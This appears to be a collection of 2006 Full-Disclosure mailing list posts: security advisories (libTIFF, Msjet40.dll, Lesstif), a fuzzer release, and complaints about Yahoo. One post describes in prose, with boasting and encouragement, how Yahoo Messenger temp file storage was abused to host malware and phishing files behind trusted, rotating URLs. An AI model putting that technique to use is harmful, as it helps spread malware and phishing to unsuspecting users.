tried to protest what Yahoo was doing other the years in private, and even thought at one point about putting out trojan horses and viruses under the same file names so Symantec etc would flag them as malware, although we didn't So yeah, Yahoo have the ability to and do infact modify your system without permission :) This is done randomly at Yahoo's own discretion and is seperate from legitmate announced Yahoo Messenger updates :) Its about time Yahoo came clean about yupdater.exe and YServer.exe instead of anonymously sending commands to operating systems, to modify, delete and create files and (or) folders without anyone knowing. No one is saying Yahoo is doing anything evil, but what if an accident happened? Yahoo would get its ass kicked No one can say what unexpected modifications to folder and files might do to individual end-user systems. Yahoo, sort yourselves out. Foul play ___Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ -- http://peterdawson.typepad.comPeterDawson Home of ThoughtFlickr's This message is printed on Recycled Electrons. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Will Microsoft patch remarkable old Msjet40.dll issue?
Microsoft informs about ten existing Windows flaws and two Office flaws at http://www.microsoft.com/technet/security/bulletin/advance.mspx Some of the upcoming security bulletins have Critical severity. Maybe it's time to release a fix to remarkable old Msjet40.dll issue reported by HexView as early as in March 2005. Some background information: In May Trojans exploited undocumented 0-day vulnerability in MS Word. In June Trojans attacked against Excel. July was the month of PowerPoint 0-days. Actually there was no reports about the fourth Office case. But there was another Office case too. It was related to Microsoft Access. Trojan Backdoor.Pcclient.B attacked against unpatched 'Microsoft Jet Database Engine Malformed Database File Buffer Overflow Vulnerability' spreaded with dropper file containing Trojan.Acdropper.B. This is not a surprise, because at least three public exploits have been published. A coverage list of references is listed at http://www.kb.cert.org/vuls/id/176380 US-CERT doesn't list affected systems, but Access 2003, 2002 and 2002 install Msjet40.dll. These were not the last Office issues we will see. And more is coming if old Office flaws keep unpatched in the future. More details and some conclusions at my new entry http://blogs.securiteam.com/?p=535 - Juha-Matti ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200608-07 ] libTIFF: Multiple vulnerabilities
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200608-07 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: libTIFF: Multiple vulnerabilities Date: August 04, 2006 Bugs: #142383 ID: 200608-07 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis libTIFF contains several vulnerabilities that could result in arbitrary code execution. Background == libTIFF provides support for reading and manipulating TIFF images. Affected packages = --- Package / Vulnerable / Unaffected --- 1 media-libs/tiff 3.8.2-r2= 3.8.2-r2 Description === Tavis Ormandy of the Google Security Team discovered several heap and stack buffer overflows and other flaws in libTIFF. The affected parts include the TIFFFetchShortPair(), TIFFScanLineSize() and EstimateStripByteCounts() functions, and the PixarLog and NeXT RLE decoders. Impact == A remote attacker could entice a user to open a specially crafted TIFF file, resulting in the possible execution of arbitrary code. Workaround == There is no known workaround at this time. Resolution == All libTIFF users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =media-libs/tiff-3.8.2-r2 References == [ 1 ] CVE-2006-3459 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3459 [ 2 ] CVE-2006-3460 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3460 [ 3 ] CVE-2006-3461 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3461 [ 4 ] CVE-2006-3462 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3462 [ 5 ] CVE-2006-3463 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3463 [ 6 ] CVE-2006-3464 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3464 [ 7 ] CVE-2006-3465 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3465 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200608-07.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2006 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 pgpANbRmsgjZj.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Lesstif insecure file creation while executing setuid libXm linked binaries vuln
I've found only mandriva has suitable setuid binary details - http://karol.wiesek.pl/files/lesstif-advisory.pdf K. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] AUTODAFE: an Act of Software Torture [FUZZER]
Dear list, let me present you the public release of a fuzzer presented at 22c3: Autodafé is a fuzzing framework able to uncover buffer overflows by using the fuzzing by weighting attacks with markers technique. http://autodafe.sourceforge.net You will find a paper explaining the technique used, the slides of the presentation and the source code. It uses a script language largely inspired by Spike (btw: thanks Dave). The major improvement is the use of a debugger in order to reduce the test space. There is a tutorial (based on real cases) which explains how to use it, to fuzz network based (TCP/UDP) protocols (client and server side) and files (lps, pdf, jpeg, etc.) The second major improvement is the use of dissector (etheral, wireshark) to automatically recognize 750 network based protocols. Feel free to give feedback, it's a beta release. Enjoy 8^P Martin Vuagnoux ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] AUTODAFE: an Act of Software Torture [FUZZER]
Hi Martin, Martin Vuagnoux wrote: Dear list, let me present you the public release of a fuzzer presented at 22c3: Autodafé is a fuzzing framework able to uncover buffer overflows by using the fuzzing by weighting attacks with markers technique. http://autodafe.sourceforge.net You will find a paper explaining the technique used, the slides of the presentation and the source code. It uses a script language largely inspired by Spike (btw: thanks Dave). The major improvement is the use of a debugger in order to reduce the test space. There is a tutorial (based on real cases) which explains how to use it, to fuzz network based (TCP/UDP) protocols (client and server side) and files (lps, pdf, jpeg, etc.) The second major improvement is the use of dissector (etheral, wireshark) to automatically recognize 750 network based protocols. Feel free to give feedback, it's a beta release. Ok so all looks good, but --prefix is not respected by Makefiles or the bins so I wanted to install in my home dir/Programs/Autodafe but when I try and execute autodafe it's looking in /usr/local/etc/autodafe for the .fuzz files. (I had to modify the Makefiles in each dir to cp to the correct dir.) I'm too tired ATM to look at modifications. But if you're using a configure script it should respect the --prefix argument. Enjoy 8^P I will once I'm more awake! And sorry if this seems like a petty thing. Martin Vuagnoux ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Cheers, DanB. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: n3td3v yahoo crap
n3ntl3 wrote : The same happens on Yahoo Messenger file share. If the client cannot connectpeer to peer then the file being sent will be stored on the server as a temp file. The Yahoo system cannot verify that the file has been successfullydownloaded by the intended party, so the file is left on the server, untilYahoo decides to expire the file. What folks were doing is linking the temp files to victims (via any chat or e-mail), the file extension could beanything, so the malicious file was being used in virus and phishing runs.The hacker would keep rotating the temp file storage system, everytime the file expired (which can be hours at a time, enough time to infect and phishyour way through thousands of hosts), therefore you have continued storageof virus and phishing on the Yahoo servers, undetected. The Yahoo virus and phishing detection system trusts 'yahoo.com', so it isn't stored on theiranti-spam url collection system, and even if it did, the unique temp fileURL is changing every rotation, everytime the temp file expires, so the URL is always changing its character, so stayed trusted and stealth. This wasbeing exploited by my connections three or so years ago, although, yahoo wascontacted in private, I think it was treated as a non-issue. Lolz. Can someone check0r it out and tell me it can still be exploited today? :) I'llneed to check0r it out too. Thats Yahoo for you. Sorry to poison a Gmailthread with this, but it just reminded me of what we exploit on Yahoo :) haw haw haw... keep hax0ring peeps. I grew up with the vulnerability in my teenyears, it was so common place, no one thought to report it, but eventually Istopped using Yahoo Messenger temp file storage for when we blocked the peer to peer via our programs, but yeah, I forgot to check if they patched it.Many good lucks and researchingI expect someone with a formal advisoryto be posting what i'm talking about in the coming dazepeace out for now my homies. Long live server side temp file storage on Yahoo, it rocks vxerssocks. Shouts to [EMAIL PROTECTED] who was the security engineer at thetime I reported it to him, so the buck stops at him, I believe the buck should stop with someone in YAHOO, and should not get away with sloppysecurity. [EMAIL PROTECTED] is still off the hook for the Yahoo Financedefacement (which happened last weekend), so I guess henri gets off with the temp storage thingy too. These people are paid thousands of dollars a yearto detect these easy holes before the bad guys. Time and time again, theyget paid even if security incidents keep happening on their turf :) Reject their wage for each month theres a security incident on their turf and youcan be sure they'll suddenly have all the holes reported and patched to[EMAIL PROTECTED] , yahoo stop relying on free-lance securityresearchers to tell your thousands of dollars a year ethical hackers aboutbugs, and make your researchers wokr for their money. The rejected wagepacket for that month should obviously goto the free-lance researcher who showed up the ethical hacker for not detecting the bug before them. Thatwould solve Yahoo security problems once and for all. Yahoo security staff,take it for granted they'll ne given there wage regardless of what happens, that should change, to keep them on their toes and always worried if theregetting paid that month. In the security industry, getting paid should be aearned not assumed. Security companies and corporations need to get tough with employees and security consultants, to make sure standards are kept incheck, to garentee their working 110% to protect your network from attacks.I love you henri and mark, both do great work at yahoo, when you're not being hacked Did your grammar teacher tell you about paragraphs?? Oh wait.. you were attending the [EMAIL PROTECTED]@ classes. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
